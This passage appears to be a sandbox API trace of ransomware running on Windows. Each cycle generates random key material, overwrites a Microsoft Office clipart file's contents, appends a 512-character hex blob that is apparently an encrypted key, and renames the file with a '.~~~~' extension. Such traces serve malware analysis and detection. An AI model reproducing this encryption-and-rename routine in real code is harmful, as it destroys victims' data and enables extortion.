	[0107.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875740
	[0107.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.136] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.136] GetLastError () returned 0x0
	[0107.136] GetLastError () returned 0x0
	[0107.137] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.137] GetLastError () returned 0x0
	[0107.137] GetLastError () returned 0x0
	[0107.140] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc822, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.140] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x37de, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x37de, lpOverlapped=0x0) returned 1
	[0107.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.141] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.142] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.142] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.142] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.142] CloseHandle (hObject=0x140) returned 1
	[0107.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.~~~~")) returned 1
	[0107.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.143] GetLastError () returned 0x0
	[0107.145] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.146] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.146] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.147] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22713670814) returned 1
	[0107.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9894650, dwHighDateTime=0x1d60e1e)) 
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e198
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0107.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e198 | out: hHeap=0x300000) returned 1
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28747d0
	[0107.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.148] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.148] GetLastError () returned 0x0
	[0107.148] GetLastError () returned 0x0
	[0107.148] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.148] GetLastError () returned 0x0
	[0107.148] GetLastError () returned 0x0
	[0107.217] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff5545, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.217] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xaabb, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xaabb, lpOverlapped=0x0) returned 1
	[0107.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.219] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.219] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.219] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.219] CloseHandle (hObject=0x140) returned 1
	[0107.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.~~~~")) returned 1
	[0107.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.221] GetLastError () returned 0x0
	[0107.222] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.223] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.223] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.223] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22721305738) returned 1
	[0107.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa992cbd0, dwHighDateTime=0x1d60e1e)) 
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d78
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d78 | out: hHeap=0x300000) returned 1
	[0107.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875870
	[0107.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.224] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.224] GetLastError () returned 0x0
	[0107.224] GetLastError () returned 0x0
	[0107.224] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.224] GetLastError () returned 0x0
	[0107.225] GetLastError () returned 0x0
	[0107.252] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe600, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.252] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a00, lpOverlapped=0x0) returned 1
	[0107.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.253] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.253] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.253] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.253] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.253] CloseHandle (hObject=0x140) returned 1
	[0107.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.~~~~")) returned 1
	[0107.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.299] GetLastError () returned 0x0
	[0107.304] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.306] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.306] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.306] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22729636923) returned 1
	[0107.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9a11410, dwHighDateTime=0x1d60e1e)) 
	[0107.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807450
	[0107.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807450 | out: hHeap=0x300000) returned 1
	[0107.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28759a0
	[0107.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.307] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.308] GetLastError () returned 0x0
	[0107.308] GetLastError () returned 0x0
	[0107.308] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.308] GetLastError () returned 0x0
	[0107.308] GetLastError () returned 0x0
	[0107.311] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffbf0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.311] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x40f2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x40f2, lpOverlapped=0x0) returned 1
	[0107.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.313] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.313] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.313] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.313] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.313] CloseHandle (hObject=0x138) returned 1
	[0107.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.~~~~")) returned 1
	[0107.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.315] GetLastError () returned 0x0
	[0107.315] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.317] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.317] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.317] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22730758846) returned 1
	[0107.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9a11410, dwHighDateTime=0x1d60e1e)) 
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807488
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807488 | out: hHeap=0x300000) returned 1
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875dc8
	[0107.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.318] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.319] GetLastError () returned 0x0
	[0107.319] GetLastError () returned 0x0
	[0107.319] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.319] GetLastError () returned 0x0
	[0107.319] GetLastError () returned 0x0
	[0107.395] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb4fe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.395] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4b02, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x4b02, lpOverlapped=0x0) returned 1
	[0107.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.397] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.397] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.397] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.398] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.398] CloseHandle (hObject=0x138) returned 1
	[0107.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.~~~~")) returned 1
	[0107.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.400] GetLastError () returned 0x0
	[0107.400] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.402] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.402] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22739241346) returned 1
	[0107.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9af5c50, dwHighDateTime=0x1d60e1e)) 
	[0107.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807610
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
